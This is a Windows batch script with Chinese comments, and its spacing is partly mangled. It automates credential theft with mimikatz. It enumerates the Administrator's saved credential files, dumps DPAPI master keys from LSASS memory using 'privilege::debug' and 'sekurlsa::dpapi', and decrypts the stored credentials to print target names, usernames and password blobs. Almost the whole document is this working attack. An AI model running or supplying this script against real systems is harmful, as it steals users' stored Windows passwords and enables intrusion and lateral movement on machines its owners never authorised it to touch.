set flag=0REM 判断是否存在Credentials for /f %%iin ('dir /a/s/b c:\Users\Administrator\AppData\Local\Microsoft\Credentials') do ( ifexist%%i ( set file=%%i set flag=1 echo!file!
for /f "delims=: tokens=1,2" %%iin ('mimikatz.exe "dpapi::cred /in:!file!" "exit" ^| findstr guidMasterKey') doset guidMasterKey=%%j REM echo !guidMasterKey!
mimikatz "privilege::debug" "sekurlsa::dpapi" "exit" > MasterKey.txt REM findstr /n 返回行号 example: 1: * GUID : {b619a08d-f4c3-408d-b733-bc89bd94ca0b} for /f "delims=:" %%iin ('findstr /n "!guidMasterKey!" MasterKey.txt') do ( set /a lineNum=%%i+1 REM echo !lineNum! call :next ) ) ) :end if!flag!==0echo [-] No credentials :( echo. echo [+] End exit /b
:next for /f "skip=%lineNum% delims=" %%iin ('type MasterKey.txt') do ( set MasterKeyTemp=%%i goto next2 )
:next2 set MasterKey=%MasterKeyTemp:~16% REM echo %MasterKey% mimikatz "dpapi::cred /in:%file% /masterkey:%MasterKey%" "exit" > pass.txt findstr "TargetName UserName CredentialBlob" pass.txt del MasterKey.txt